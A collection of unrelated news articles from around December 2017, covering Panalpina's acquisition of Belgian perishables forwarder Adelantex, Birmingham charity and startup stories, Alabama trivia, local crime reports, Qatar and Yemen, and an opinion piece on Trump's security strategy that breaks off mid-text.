Adelantex ground handling operations in Brussels are best in class and will serve as a blueprint for similar operations in other countries.

Karlen added: On top of that, Adelantex has a solid customer base and significant import volumes from important origin markets across the world. This will allow us to seize opportunities in those markets to further grow our perishables business.

The 46 staff of Adelantex serve around 200 customers across Europe that import fruits, vegetables, flowers, fish and plants into the region.

The vast majority of perishables are imported via Brussels Airport where Adelantex operates a warehouse directly on the tarmac with 1,600 sq m of cold storage. A quarter of the overall volumes are imported via Liege Airport and Ostend Airport.

Jozef Mergan, chief executive and majority shareholder of Adelantex and AD Handling, said: As the undisputed market leader in perishables airfreight imports in Belgium, Adelantex will benefit from Panalpinas global footprint and leading position in the perishables market to continue to grow and expand internationally.

Adelantex was founded in 1992, originally as a road haulage company, and today is fully-owned by the companys four directors. Once the deal is closed, Kris Poels will join Panalpina as country head of Perishables in Belgium and Luxembourg.

Jellen Bosmans and Igor Vandyck will also remain in the company with positions in finance and operations, respectively. Mergan will support Panalpina in further developing its global perishables business.

Commented Bruno Jacques, Panalpinas managing director for Belgium and Luxembourg: Our perishables network is expanding rapidly. After the acquisitions in Kenya, Germany and the Netherlands earlier this year, we are now delighted to welcome new perishables experts in Belgium.

The Panalpina Perishables Network currently spans over 20 key countries, with a clear plan to double the network to cover all regions, said a spokesperson.

This latest takeover continues a consolidation trend in the perishables sector by Europes major logistics players.

Kenyas competition watchdog in September this year approved with conditions the takeover of two specialist perishables forwarders in the African country by Kuehne+Nagel (K+N) and Panalpina.

The Competition Authority of Kenya approved the acquisition of Air Connection by Panalpina Airflo Ltd, Panalpina Airflo BV and Panalpina Kenya Ltd, but ordered the acquirers to retain at least 95% of the employees of Air Connection for at least one year after the transactions completion date.

The Kenyan deal came two years after Panalpina increased its presence in Kenyan flower logistics by acquiring perishables specialist Airflo, Kenyas second largest airfreight forwarder.

K+N in July this year announced its proposed acquisition of Kenyas Trillvane, specialised in the export of flowers and vegetables.

Read more Perishables Logistics News

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Around the holidays, the Jimmie Hale Mission prepares quite a few feasts.

Last year, the Christian-based nonprofit saw some 900 pounds of sweet potatoes and green beans grace its kitchen counters. Staff prepped nearly 50 whole turkeys, accompanied by 225 pounds of cranberry sauce and 15 gallons of gravy.

Of course, no holiday meal would be complete without a pie--or 115 of them.

"When people first come in, you can't really talk to them about their future," says Tony Cooper, executive director of Jimmie Hale Mission Ministries. "Their minds can't go there; they have to think about where their next meal is coming from. But when they step onto our premises, that need is met immediately. We understand how important that meal is. A meal can lead to a changed life."

Those meals have been served in Birmingham since 1944, when Jimmie and Jessie Hale founded a small storefront chapel to serve the hungry and offer both physical and spiritual shelter. Jimmie Hale continues to operate as a Christian ministry, but it doesn't require people to be religious to receive support.

"Our ongoing philosophy is that we get people back to God, back to life, and back to work," Cooper says.

As the mission nears its 75th anniversary, it has grown from the original chapel into three separate residential facilities.

The Shepura Men's Center, the mission's oldest residential facility, houses 160 beds, a clothes closet, chapel, and a learning center. Shepura also serves more than 300 meals per day.

Royal Pines, a 16-week in-resident addiction recovery center, is located in Blount County.

A third facility, Jessie's Place, serves what Cooper calls the "fastest growing homeless population": single women with children.

"People may have misconceptions about who we serve. What does a homeless person look like?" Cooper says. "The homeless picture has changed. We're seeing local people, younger people, military veterans, children."

Facility staff teach everything from basic literacy to job readiness skills in Jimmie Hale's learning centers, which have helped more than 1,300 men and women find jobs in the last decade.

"All of us need help and offer some direction," Cooper says. "We want to work alongside these people."

Cooper doesn't shy away from any of the challenges that come with providing food, shelter, spiritual guidance, and self-sufficiency to whoever steps over Jimmie Hale's threshold.

A 24/7, year-round enterprise, the mission operates in the red during the majority of the year, but has been continually buoyed by generous community support at year's end.

Jimmie Hale generates some 60 percent of their annual income from holiday giving alone.

"We've learned from experience, because of the holidays, people are reminded what they're thankful for," Cooper says. "People are more sensitive to the needs of the less fortunate. Christmas is all about giving, beginning with God's gift to us."

As holiday volunteer shifts fill up as early as October, Cooper says the mission's biggest need during the Christmas season is financial.

Your dollar may go toward one of the 115 pies dished up in the dining hall; $1.95 can sponsor an entire meal, while $20 provides a night of shelter and three meals. Donations also go toward adverting campaigns like radio ads to help get the word out about their mission needs.

"For every $1 I spend on advertising, I can generate close to $4," Cooper says. "I'm taking your money and investing it. We work hard to be good stewards of what God has blessed us with."

For those who decide to donate this holiday season, Cooper encourages them to read more about Jimmie Hale or any particular charity they donate to in order to stay informed on the work they're supporting.

"You have the satisfaction of knowing you've been a blessing to someone and helped them reclaim their life," Cooper says. "You're not just helping us for the holidays, you're helping us for the entire year."

In 2016, Jimmie Hale:

Served more than 206,000 meals

Provided more than 62,000 beds

Provided more than 46,000 pieces of clothing

Helped secure employment for 70 people through their learning centers

Details

For more information on the Jimmie Hale Mission, or for information on how to donate, visit jimmiehalemission.com.

--By Melissa Brown | Photos by Bonnie Hendrix of the Jimmie Hale Mission

This story appears in Birmingham magazine's December 2017 issue. Subscribe today!
Innovation Depot's Velocity Accelerator program has picked eight teams for its 2018 cohort.

Organizers said four teams were picked from the Birmingham area, along with San Jose, Chicago, Atlanta and Nashville, from about 100 applicants.

Devon Laney, President & CEO, Innovation Depot, Inc., said the first Velocity cohort was a "tremendous success. "

"We want to continue to recruit the best emerging technology companies to Birmingham and give them access to the capital, resources, and mentorship needed to grow and scale quickly," Laney said.

The teams are:

Wyndy of Birmingham, a mobile app connecting parents and college babysitters .

Axle Advertisements of Birmingham,an advertising platform connecting trucking companies to brands for trailer advertising.

Dirtbook of Birmingham, a marketplace app for the construction industry.

Fletch of Chicago, which generates attendance records for universities and notifies them of students' absentee patterns.

SmartAlto of San Jose, which makes a text messaging robot that helps real estate agents respond to leads.

Mixtroz of Franklin, Tenn., a tool for event organizers to increase attendee engagement and guide networking opportunities.

Anchorspace of Birmingham, which uses a web -based platform to facilitate short term leases.

SimpleShowing of Atlanta, Ga., an app that allows consumers to schedule home showings on-demand without a real estate agent.

The selection committee was made up of entrepreneurs, investors, industry experts and members of the startup community.

Velocity Accelerator takes place within Innovation Depot, with teams experiencing 13 weeks of intensive business and leadership development, from January 22 through April 23. Demo Day takes place at Iron City, with each company pitching to potential customers, investors and community supporters.

Innovation Depot invests $50,000 in each company from the Velocity Fund, which is supported by Regions Bank, Alabama Power, BBVA Compass, Blue Cross Blue Shield, Protective Life, UAB, the Community Foundation of Greater Birmingham, HealthSouth, Brasfield & Gorrie, McWane, and Altec.

Beth McKeon, Velocity Accelerator 2018 managing entrepreneur-in-residence, called the 2018 cohort " strong teams with deep domain expertise solving real problems, not just for today but for the future."

" I am incredibly excited to see the kind of progress these talented founders can make with Velocity's support in 2018," McKeon said.
A pair of pioneering women will be the keynote speakers for the Momentum Conference Feb. 27 and 28 in Birmingham.

The Alabama women's leadership organization will host its conference at the BJCC.

Carey Lohrenz

Carey Lohrenz, the first female F-14 Tomcat fighter pilot in the U.S. Navy, and Bonnie St. John, the first African-American ever to win medals in Winter Olympic competition, will provide keynote addresses.

April Benetollo, Momentum CEO, said the group is "beyond excited" to have the speakers.

"Both women have tremendous energy and have accomplished so much," Benetollo said. "They are sure to have wide appeal to the women and men at the conference."

Lohrenz, the lunch keynote, flew missions worldwide as a combat-mission-ready United States Navy pilot. She is the author of the bestselling "Fearless Leadership: High Performance Lessons From the Flight Deck." She will speak on the qualities of a pilot and how those transition to other environments.

Despite having her right leg amputated at age five, Bonnie St. John, who will give the breakfast keynote, earned a silver and two bronze medals in downhill events at the 1984 Paralympics in Innsbruck, Austria. She is the best-selling author of seven books, with her most recent, "Micro-Resilience: Minor Shifts for Major Boosts in Focus, Drive and Energy."

Bonnie St. John

Organizers say the conference theme, "Better Together, Uniting Leaders," will emphasize the importance of diverse groups finding common resilience, courage, and vision to overcome challenges and seize new opportunities.

To register for the 2018 Momentum Leadership Conference, visit the website. There are early registration discounts, group rates for tables of eight and corporate sponsorships available.

Seating is limited and is expected to sell out.
If you plan to host your family and friends, here are some facts about Alabama you can use to play trivia games, or to impress them with your knowledge about our state. Kelly Kazek | kkazek@al.com

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Kelly Kazek | kkazek@al.com

Plus, click the links below to check out two previous trivia posts:

50 surprising facts about Alabama and its people

50 things you might not know about Alabama

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(Source: Alabama Butterbean Festival)

1. In 2010, the World's Largest Pot of Baked Beans, certified by Guinness World Records, was cooked at the Alabama Butterbean Festival in Pinson.

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(Source: Sean/FindaGrave.com)

2. The last surviving Confederate veteran was from Alabama  probably. When he died at age 104 in 1951, Pleasant Crump was believed to be the last surviving Confederate soldier, although the claim has been challenged. Crump enlisted at age 16 and served in Company A of the 10th Alabama Infantry. He was present at Appomattox Courthouse in Virginia when Gen. Robert E. Lee surrendered to the Union forces in April 1865.

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Kelly Kazek | kkazek@al.com

3. Eufaula, Alabama, is home to the Tree That Owns Itself. The oak, estimated to be 200 years old, stood in the yard of Confederate Capt. John A. Walker. In 1936, after it withstood a tornado and a fire, local women persuaded the town council to deed the property to the tree whose roots grew into it. Lt. Gov. Charles S. McDowell drew up a "deed of sentiment and a fence and marker were erected. In 1961, the old oak was felled by a tornado and was replaced. It is now known as the son of the Tree That Owns Itself.

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(AL.com File Photos)

4. Visitors to the U.S. Space and Rocket Center in Huntsville often honor a monkeynaut by leaving bananas on her memorial. Miss Baker was a squirrel monkey, one of a pair of monkeys that were the first animals to be launched into space and be recovered alive. Miss Baker was born in 1957 and made her 16-minute space flight in 1959. She and Able, a rhesus monkey, returned to earth healthy and were treated as celebrities. Able would die four days later from complications of surgery to remove electrodes embedded for her flight. Miss Baker lived out her life in Huntsville, dying of kidney failure Nov. 29, 1984.

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(AL.com File Photo)

5. Alabama was once a major producer of watercress, a leafy green used in salads. According to the Encyclopedia of Alabama, watercress was an important commodity in the state until the mid-1900s. "The watercress industry was centered in Madison County  [and Huntsville] was known as the Watercress Capital of the World," the encyclopedia article said. "From the early twentieth century through the 1960s, more than 2 million bunches of watercress were grown and harvested in the area, more than produced by any other source in the United States. Today, watercress production continues in Madison County, but on a much-reduced scale."

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(Source: Wikimedia Commons Public Domain)

6. After the death of Jesse James, his brother Frank James decided to become a law-abiding citizen and faced outstanding charges for previous crimes. One of those crimes was the theft of a payroll master in Muscle Shoals in 1881. Frank came to Huntsville to be tried for the theft in 1884. While in jail, he was treated like a celebrity guest. He was eventually acquitted and became a show salesman and charged for tours of his family home in Missouri.

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(AL.com File Photo)

7. Academy Award winner Octavia Spencer, star of The Help, Hidden Figures and numerous other films, was born in Montgomery in 1970. She won an Oscar for her role in 2011s The Help."

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(Source: Guinness Book of World Records)

8. In 2004, Chad Fell of Haleyville was certified by the Guinness World Records for blowing the World's Largest Bubblegum Bubble, Unassisted (without use of his hands) at Double Springs High School in Winston County. He used three pieces of Dubble Bubble gum.

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(Source: RuralSWAlabama.org)

9. The White Cliffs of Epes are chalk formations along the Tombigbee River. The mile-long line of cliffs is composed of a geological layer known as the Demopolis Chalk Formation.

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(Source: Mark Hilton)

10. At least three markers survive indicating the route of the Jefferson Davis Highway, which was designated by the United Daughters of the Confederacy in 1913. In Alabama, it entered near Lanett and exited near Mobile. The surviving portion follows U.S. Highway 80 on the same route that Martin Luther King Jr. followed on his famous 1965 Selma-to-Montgomery march. Surviving markers include a small etched-stone marker can be found in a traffic median in Montgomery at Highway 80 and Bradley Drive; a metal highway sign can be found along Alabama Highway 5 and an etched stone at U.S. Highway 82 and Alabama Highway 51 in Midway in Bullock County.

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(A float in an 1890s Mardi Gras parade in Birmingham/Birmingham Public Library)

11. Most Alabamians know the first Mardi Gras celebration in the country was held in Mobile in 1703. But did you know Birmingham also once hosted Mardi Gras parades? The first was held in 1886 but the second was not held until 1896. Several events were marred by cold weather and snow storms. The last celebration in Birmingham was held in 1901, although only balls were hosted that last year and no parades.

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AL.com File Photo

12. The skeleton of a pre-historic human, thought to date back as many as 8,000 years, was found in Russell Cave near Bridgeport. The 2005 photo above shows the figure of a native on display in the cave's entrance.

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(AL.com File Photo)

13. The tip of Cheaha Mountain, also called Mt. Cheaha, is 2,407 feet above sea level. It is Alabama's highest point.

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(Tamika Moore | tmoore@al.com)

14. Here are nicknames for Alabamas four largest cities: Birmingham, The Magic City or The Steel City; Huntsville, The Rocket City; Mobile, The Azalea City or Home of Mardi Gras; Montgomery, The Cradle of the Confederacy.

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(Source: Auburn University Libraries)

15. Toni Tennille, one part of the duo The Captain and Tennille, was the singer for the Auburn Knights Orchestra while she was in school there from 1958-1960. Her father was a founding member of the orchestra in the 1930s.

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(Source: uznayvse.ru)

16. In October of 1989, residents of Fort Payne built a cake to celebrate the city's centennial. The 12-layer cake was 32 feet wide and 80 feet long and weighed 128,238 pounds. It was certified by Guinness World Records as the World's Largest Cake.

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(AL.com File Photo)

17. Kate Jackson, star of the TV shows Charlies Angels and Scarecrow and Mrs. King, was born in Birmingham in 1948. Jackson is shown in the center with her Charlies Angels co-stars.

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(AL.com File Photo)

18. The country group Alabama is honored in Fort Payne with an official Alabama Fan Club and Museum, as well as bronze statues of band members at City Park.

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(AL.com File Photo)

19. The state has four national forests, 10 national wildlife refuges and two national monuments: Little River Canyon National Preserve and Russell Cave National Monument.

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(AL.com File Photo)

20. The Alabama State Flag was designated by the state Legislature in 1895. It features a crimson St. Andrew's cross on a white field. The bars forming the cross "must not be less than six inches broad and must extend diagonally across the flag," according to 50states.com.

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(AL.com File Photo)

21. Alabama's state flower, the camellia, is not a native plant and it was not the first choice for the state flower. According to the Alabama Department of Archives and History, a bill was introduced in 1927 by State Rep. T. E. Martin making the goldenrod the state flower. "This became law on September 6, 1927, the same day that the Yellowhammer became the state bird. On August 26, 1959, the state flower was changed to the camellia. Ladies in Butler County preferred the camellia since the goldenrod is a wildflower. They called the goldenrod a weed." Because there is more than one type of camellia, the Legislature designated a specific species, the Camellia japonica L., as the state flower in 1999. "On the same day Alabama also chose a state wildflower since the camellia is not a native plant," the encyclopedia said.

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(Joe Songer | jsonger@al.com)

22. The official Game Bird of Alabama is the wild turkey.

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(Source: Alabama Department of Archives and History)

23. Alabama designated the Pine Burr Quilt as the official state quilt in 1997. The quilt was made by Loretta Pettway Bennett, daughter of Qunnie Pettway, a quilter from Gee's Bend.

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(AL.com File Photo)

24. The country's first 911 call was made on February 16, 1968, in Haleyville. Alabama Speaker of the House Rankin Fite went to City Hall and called U.S. Representative Tom Bevill, who was at the local police station. The red phone used is on display in City Hall.

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(Source: Hank Williams Museum)

25. The blue Cadillac in which Hank Williams was riding when he died on January 31, 1953, at age 29 is on display at the Hank Williams Museum in Montgomery.

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(George Lindsey and Jim Nabors at a reunionAL.com File Photo)

26. The actors who portrayed Goober and Gomer, fictional cousins on the Andy Griffith Show, were both born in Alabama. Jim Nabors, Gomer, was born in 1930 in Sylacauga. He died Nov. 30, 2017. George Lindsey, Goober, was born in 1928 in Fairfield. He died in 2012.

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(AL.com File Photo)

27. Former U.S. Secretary of State, Condoleezza Rice, was born in 1954 in Birmingham.

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(AL.com File Photo)

28. The paintings of Huntsvilles Maria Howard Weeden (1846-1905) were the inspiration for "Gone with the Wind" costumes. As a renowned artist and writer, she used the name Howard Weeden. She was best known for her paintings of slaves. The home where she lived her entire life in downtown Huntsville is now the Weeden House Museum.

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(Joe Songer | jsonger@al.com)

29. Mobile Bay is Alabama's only saltwater port.

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(Source: Wil Elrick)

30. In 2016, Mobile debuted a new Mardi Gras Park at the corner of Royal and Church streets. It features a large, open grassy area surrounded by steps so people can watch the Mardi Gras parades pass by. Eight brightly colored statues surround the space, including two of Carnival royalty, two representing the Mobile Area Mardi Gras Association, a male and female jester, a trumpeter and Chief Slacabamorinico, the alter ego used by Joe Cain when he restarted Carnival after the Civil War.

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(AL.com File Photo)

31. The water pump where Helen Keller learned to communicate while her teacher spelled the word water into her hand is preserved at Ivy Green, Kellers childhood home in Tuscumbia.

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(Birmingham News file photo from 1980)

32. Alabamas State Dance is the square dance.

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(Joe Songer | jsonger@al.com)

33. The deepest gorge in the U.S. east of the Rockies is Little River Canyon near Fort Payne, Alabama.

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(Green Mountain/AL.com File/Eric Schultz)

34. The Alabama Wildlife and Freshwater Fisheries Division manages 23 public fishing lakes in 20 counties throughout the state. These lakes cover 1,912 surface acres. At least one-sixth of the surface area of Alabama is comprised of lakes, reservoirs, ponds, wetlands, estuaries, and flowing rivers and streams, according to the Encyclopedia of Alabama. The state ranks seventh in the country in perennial stream miles and first in navigable stream miles.

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(Joe Songer | jsonger@al.com)

35. Alabama rivers are home to 303 freshwater species of fish, 20 of which are native to the state, making the rivers the most biologically diverse in the world.

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(AL.com File Photo)

36. The pro wrestling personality Paul Bearer, aka William Alvin Moody, was born in Mobile in 1954. He had two "ring personas:" "Paul Bearer" and "Percival Pringle III." At differing times, he went by such names as Mr. X, the Embalmer and the Mortician. He later earned a degree in mortuary science and became certified as a funeral director and embalmer. He eventually returned to wrestling and managed several wrestlers, including The Assassin, Lex Luger, "Stone Cold" Steve Austin, The Undertaker and the Ultimate Warrior. An action figure was made in his image. He died in 2013.

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(Public Domain)

37. Burl "Jaybird" Coleman (born 1896 in Gainesville; died 1950 in Tuskegee) was a blues harmonica player who performed with the Birmingham Jug Band in the Rabbit Foot Minstrels Show. He served in World War I and then began travelling with the minstrel show. He first recorded in 1927 on Birminghams Gennett, Silvertone and Black Patti Record labels. During the 1930s, he toured throughout Alabama, and later recorded for OKeh and Columbia Records.

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(Source: Wikimedia Commons Public Domain)

38. Rev. Father Emmeran Bliemel, 1831-1864, was decapitated in battle, becoming the first Catholic chaplain killed in an American war. He is buried in St. Marys Benedictine cemetery in Tuscumbia, Alabama. Bliemel was kneeling to pray over the dying Col. William Grace when an enemy cannon ball struck his head.

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(Source: John Griffith via FindaGrave.com)

39. Lucille Benson (1914-1984) was born and died in Jackson County, Alabama. She was a character actress recognized by most everyone, even if they didnt know her name. She was known for her roles in television and movies, including those on The Andy Griffith Show, The Waltons and The Dukes of Hazzard.

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(Source: NASA)

40. The body of Arabella, a common female garden spider selected by the National Aeronautics and Space Administration to go into space, is on display in the U.S> Space and Rocket Center in Huntsville. Scientists wanted to determine the effects of near-weightlessness on a spiders ability to spin webs and sent her into orbit in 1973 on Skylab 3. She died in space.

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(Source: Wikimedia Commons)

41. Lil Greenwood (born in Prichard in 1924) was a jazz and blues singer best known as a soloist with the Duke Ellington Orchestra. She died in 2011.

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(Source: Wikimedia Commons Public Domain)

42. Mark Twains cousin, Jeremiah Clemens (1814-1865) was a writer who was born and died in Huntsville. He served as a U.S. senator and a member of the Alabama Legislature. He was the author of several books including A Tale of the Times of Aaron Burr and Alexander Hamilton.

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(Source: Baseball Hall of Fame)

43. Ben Chapman was born in Nashville in 1906 and died in Hoover in 1993. He played in fifteen seasons in Major League Baseball and led the American League in stolen bases from 1931 to 1933 and in 1937. He was named to the American League All Star Team four times.

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(AL.com File Photo)

44. John Kirklin, born in Indiana in 1917 and died in Birmingham in 2004, developed the first heart-lung bypass machine. He came to work at UAB in 1966 after developing the machine in 1955 while working at the Mayo Clinic

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(Source: Encyclopedia of Alabama)

45. Alabama native Gus Hasford wrote the book The Short-Timers, on which the film "Full Metal Jacket" was based. He was born in Russellville, Alabama in 1947, and died in Greece in 1993. He served as a combat correspondent for the Marines in Vietnam and later wrote several books about his experiences.

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(Source: Ron Moody/FindaGrave.com)

46. Carvel William Bama Rowell, the baseball player who inspired the film "The Natural, was born in Citronelle, Alabama, in 1916. Rowell was a left-handed batter and an outfielder/second baseman for the Boston Bees/Braves (1939 to 1941, 1946 to 1947) and Philadelphia Phillies (1948). He died in 1993.

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(Source: Air University Office of History)

47. A concert held each Christmas in Montgomery honors big band leader Glenn Miller, who trained at Maxwell Field, now Maxwell Air Force Base, before heading to Europe to serve in World War II. His plane went down in the English Channel in December 1944 and his remains were never found. Miller, standing in the photo above, leads his band at his 1942 Christmas concert in Alabama.

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(Source: Shark Tooth Creek)

48. Visitors to Shark Tooth Creek in Aliceville, on property owned by Ken and Betty Owens, can take home the teeth of ancient sharks and other fossils left behind as many as 40 million years ago. Click here for information.

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(Joe Songer | jsonger@al.com)

49. Attalla, Alabama, is home to Tigers for Tomorrow at Untamed Mountain, a non-profit and environmental educational center and home to more than 160 exotic breeds, including tigers, black leopards, bears, wolves, mountain lions, African lions. It's a "last-stop preserve" where animals with no homes live out their lives. The 140-acre Tigers for Tomorrow park is open to the public at 708 DeKalb County Road 345. Call 256-524-4150 or click here for more information.

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(Bob Gathany | bgathany@al.com)

50.

The Southeastern Raptor Center, home of the famed War Eagles of Auburn University, is a place where birds of prey that can no longer survive in the wild can be rehabilitated. It is also an educational center. Click here to read more.
Doug Jones may have made history in Alabama, but his recent comments echo the status quo.

Jones, someone I believe in, has let me down.

When asked by Jake Tapper on CNN if Jones should join other Democrats in asking President Donald Trump to resign because of allegations of sexual harassment and sexual assault, his response was clear: "I think we need to move on and not get distracted by those issues. Let's get on with the real issues that are facing the people of this country right now."

I was livid that Jones implied that sexual harassment and assault are not "real issues." I did a double take and turned up the TV, hoping I had misheard him. I did not.

Alabama voters want things to be Republican or Democrat. Black or white. Pro-choice or pro-life. This or that. Yet things are more nuanced and complicated than that. Such is the case with Jones' remarks.

On the face of it Jones' statements offended many women voters, made Alabama look backward and alienated some in his base. It also helped him pander to centrists and conservatives for a re-election campaign.

But there is more to this story.

The issue of sexual assault and harassment should not be a Democrat or Republican issue. It's a human issue. It's an issue for every mother, daughter, friend, co-worker and woman we know, as well as many men.

His comments were a blow with forceful impact just after many of us had staggered off the roller coaster ride that was the Moore-Jones election cycle, relieved that Jones had won.

Some Democrats will say I'm dividing the party by voicing my displeasure with Jones. I understand why they might say that. Yet that speaks volumes about how far progressive people of this state have already come. We can all speak up and be heard. There is room for many voices.

For me this is not about other people, re-election strategy or polls. It's about how Jones made me - and many women - feel. I will call out Jones like I called out Moore and Alabama Gov. Kay Ivey. I will not lower the bar for what I expect from my elected official just because I voted for him. I will not give him a free pass or, as many people have said, give him more time to know what he is doing.

He's a seasoned prosecutor. He knows exactly what he's doing.

Social justice for women and minorities has long been a staple of the Democratic party. Jones cannot play the Southern gentleman and ignore women at the same time.

When Jones said he wanted to "move on," I understood what he meant. He wants to roll up his sleeves and get to work on the platform and issues he campaigned for. Good for him. Yet it takes a special kind of political blindness for people who voted for him to ignore his implication that sexual assault is not a "real issue."

Many will say Jones is right. We need to move on and focus on issues. But while they move on, I'll be standing with the women I know who are victims of sexual assault and harassment, an issue that we are too quickly moving past, thanks to media saturation. In truth, we have barely scratched the surface of this problem.



To insinuate, as many have, that Jones can't multitask is absurd. He can call for Trump's resignation while also focusing on issues. To say otherwise is insulting to every mom I know who can change diapers while making dinner and paying bills - all while bringing home a paycheck, scheduling doctor appointments and selling Girl Scout cookies.

One again, Alabamians try to make it an "either/or" issue, as if he has to choose between asking Trump to resign or tackling issues. Asking Trump to resign is risky for his re-election. I get that. But when did we decide we shouldn't ask too much of our public officials? When did they become so delicate? What happened to the gray areas, where people can be more than one thing and hold multiple viewpoints?

I voted for Richard Shelby (a Republican) and Doug Jones (a Democrat). I never expected to be proud of Shelby and saddened by Jones. I will hold my elected officials accountable, Democrat or Republican.

Shelby called out Roy Moore for his alleged sexual assaults and said he would not vote for him. Never have I felt more validated about voting for a candidate who sometimes flies in the face of my ideals. Similarly, I want Jones to stand with the other Democrats calling for Trump's resignation. Of course, it won't happen. That's not the point. I want my elected official to be on the right side of history while also tackling issues.



With Jones, I feel duped in some ways and optimistic in others.



I don't want to be disappointed in Jones. I'm tired of being disappointed. If you're from Alabama and you grew up here (like I did) then you're sick of being the underdog. The Senate already takes Jones seriously. They didn't want Moore. Alabamians need to take him seriously as well. Let's take the kid gloves off.

My hope is that a unicorn like Jones, a Democratic Senator from Alabama, will make us proud, yet also know that we are watching. The women of Alabama, who elected him, will hold him accountable.
Investigators are asking for help in locating a missing Center Point man.

Jefferson County sheriff's deputies were called to a home on Tammy Sue Drive on Dec. 11 to investigate a missing person. Family members told deputies that Joshua Malik Norfleet, 20, had not been seen in two days.

He was last seen on Dec. 9, when he left his grandmother's home in Bessemer to go to the bank. Norfleet left the house driving his grandmother's 2012 gray Hyundai Sonata, with the Alabama license plate number 1CT7781.

Investigators said Norfleet has not shown up for work, or had any contact with his employer or family since that day.

Norfleet is described as a black male, 5'10" and 180 pounds. He has brown hair and brown eyes.

Anyone with information about his whereabouts is asked to call the Jefferson County Sheriff's Office at 205-325-1450.
A Georgia couple was arrested and charged with human trafficking after bringing a teenage girl into Birmingham as part of a prostitution operation.

Jefferson County Sheriff's Office Chief Deputy Randy Christian said investigators started looking into Francesca Tamela St. Rose and Darrel Davonne Spell after a deputy at the Metro Area Crime Center received a tip about a 19-year-old victim who was bought into Birmingham for prostitution.

The tip sparked a probe, which revealed that Spell-- who was incarcerated at the Jefferson County Jail-- was directing a prostitution operation.

Investigators learned the victim had been moved by the couple from California, to Alabama, to Georgia, and back to Alabama.

According to Christian, 27-year-old Spell would contact St. Rose by phone and tell her where to take the victim, how to advertise prostitution services online, and which hotels to use. Then, St. Rose transported the victim, collected and managed the money they were paid, and then deposited the money into Spell's inmate account.

On Dec. 13, Christian said detectives learned the victim was at a hotel near Highway 280. Investigators from the Metro Area Crime Center and the FBI Human Trafficking Task Force went to hotel and located the victim with St. Rose. The victim was taken to a safe house and St. Rose, 24, was taken into custody.

The victim told investigators she was afraid of Spell, who she said was in a gang, and feared for her safety if she didn't do as she was told.

St. Rose told officers that Spell was a "pimp" who used the victim and other women to support himself financially. She said she used the prostitution money to pay for Spell's attorney fees, jail commissary account, and phone calls as he instructed her.

She was charged with human trafficking and taken to the Jefferson County Jail. Spell, who was already in jail for drug-related charges, was also charged with human trafficking.

The investigation is ongoing, and has been referred to the FBI for possible federal charges.
Doha, Qatar  Qatar celebrated National Day amid the ongoing Gulf diplomatic crisis, which appears to have created a greater sense of unity among the nations 2.5 million residents.

This years celebration will be different than any other year as it comes under the imposed siege that took place months ago, Foreign Minister Sheikh Mohammed bin Abdulrahman Al Thani said in a statement to Qatar News Agency (QNA) on Sunday. The celebration holds new and deep messages to the siege countries about the strength of Qatar.

Saudi Arabia, UAE, Bahrain and Egypt abruptly cut diplomatic and trade ties with Qatar on June 5, accusing it of financing terrorism and maintaining ties deemed too close with their archrival, Iran. Doha denies the allegations.

Qatari citizens and residents of Doha spoke to Al Jazeera about what this years celebrations mean to them.

This years National Day is really special, said Mohamed Alsherawi, a Qatari citizen. Especially with the Gulf siege, we actually feel more proud to be part of this nation. We feel more proud of the unity between, not only the nationals, but even the expats. We are celebrating hand-to-hand, together and feeling really happy and proud to be here in Qatar.

Cassandra Molloy, an Irish teacher, said: This year, the surge in national pride is palpable. There has been a real sense of unity and resilience among the people living in Doha, both nationals and expats. This years celebrations feel so meaningful and symbolic of what Qatar is as a sovereign nation.
Sanaa, Yemen  One thousand days of war in Yemen: thousands killed, tens of thousands wounded, and millions pushed towards famine.

The humanitarian crisis in Yemen is entirely man-made, the result of three years of brutal violence and insidious tactics that continue to deprive millions of people of basic supplies and services.

A staggering 1.2 million civil servants havent received their salaries in more than a year, leaving health, education, and sanitation services without the people and resources needed to keep them running. Public infrastructure has been damaged and homes destroyed, forcing more than three million to flee their homes, most with only what they can carry. People living in congested conditions have too little access to money, food, water and medicine.

Prices are up but purchasing power is down, forcing people to make difficult choices with the few resources they have  water or transport to hospital? Medicine or food?

Wednesday marks 1,000 days since the military coalition led by Saudi Arabia began bombing rebel forces who seized the capital, Sanaa, and other territory during a lightning-quick offensive.

Today, the Saudi-led coalitions ongoing blockade on commercial fuel is choking a struggling population, and obstructions from the Houthi rebel authorities within Yemen prevent what there is from reaching people.

As a result, water pumps are switched off, hospital generators stop running, the cost of transport is out of reach and 22.2 million people in Yemen now depend on humanitarian aid.

About 16 million people cannot access safe water or healthcare, 4.5 million children are at risk of losing access to education, 8.4 million Yemenis are close to starvation.

The following photo story collected from Yemen by the Norwegian Refugee Council sheds light on the devastating impact of the last 1,000 days on ordinary Yemenis.
The least popular first-year US president on record saw fit to begin his America First National Security Strategy (NSS) speech by trashing his predecessors. It was a Trump first moment, albeit in the name of the people.

President Donald Trump boasted (pdf) of a new and very different course for the United States, when only 3 in 10 Americans reckon hes on the right course for the US. He said, When the American people speak, all of us should listen. Yet hes doing anything but listening to the more than two-thirds of the American people who disapprove of his leadership.

The gap between rhetoric and reality couldnt have been wider; the contrast couldnt have been sharper. Trump bragged that the US is leading again on the world stage, just as his UN ambassador Nikki Haley was being chastised at the UN Security Council on Monday.

The US was isolated and outnumbered at the UNSC with 14 to 1 votes against its stance on Jerusalem. It stood alone, defensive and defiant, as ambassador Haley whined about the worlds insult to the US, rejecting its decision to recognise Jerusalem as the capital of Israel. She warned her audience that the humiliation wouldnt be forgotten.

Mondays scene at the UN makes Trumps assertions about renewed US respectability and influence around the world seem laughable. It is indeed a symptom of a greater problem of rudderless leadership in the US, and by extension, in the world.

Whats new in the new NSS?

Any national security strategy must, by definition, recognise threats, prescribe actions and underline priorities. And so Trumps NSS lists all major threats and challenges the US faces today and prescribes priority actions to deal with them, albeit under different headlines. It uses the same jargon and structure and voices the same concerns and diatribes that previous NSS reports included in the past three decades.

But Trumps doctrine reveals a zero-sum vision that leads to a zero-sum strategy: Us vs them. It is a vision of an alien world thats hostile to US interests, a vision that led the US to pull out of the Paris Climate accords, from UNESCO, and from the Trans-Pacific partnership, among others.

Thats not America first; its America alone.

Trump claims his strategy puts American security and American interests first. So have all other previous presidents. Trump insists hes pursuing peace through strength, as if previous presidents pursued peace through weakness. He boasts of promoting American prosperity as if his predecessors promoted American poverty. He argues that his NSS puts America first, as if Presidents Ronald Reagan, Bill Clinton, George W Bush or Barack Obama put America second or last.

It wouldve been fine if that were merely a play on words, or if the US were withdrawing from the world to take care of its own. Indeed, it wouldve been welcomed if Washington became a benevolent hegemon that led the world by the power of its example rather than the example of its power. Alas, it is not.

A three-tier national security strategy

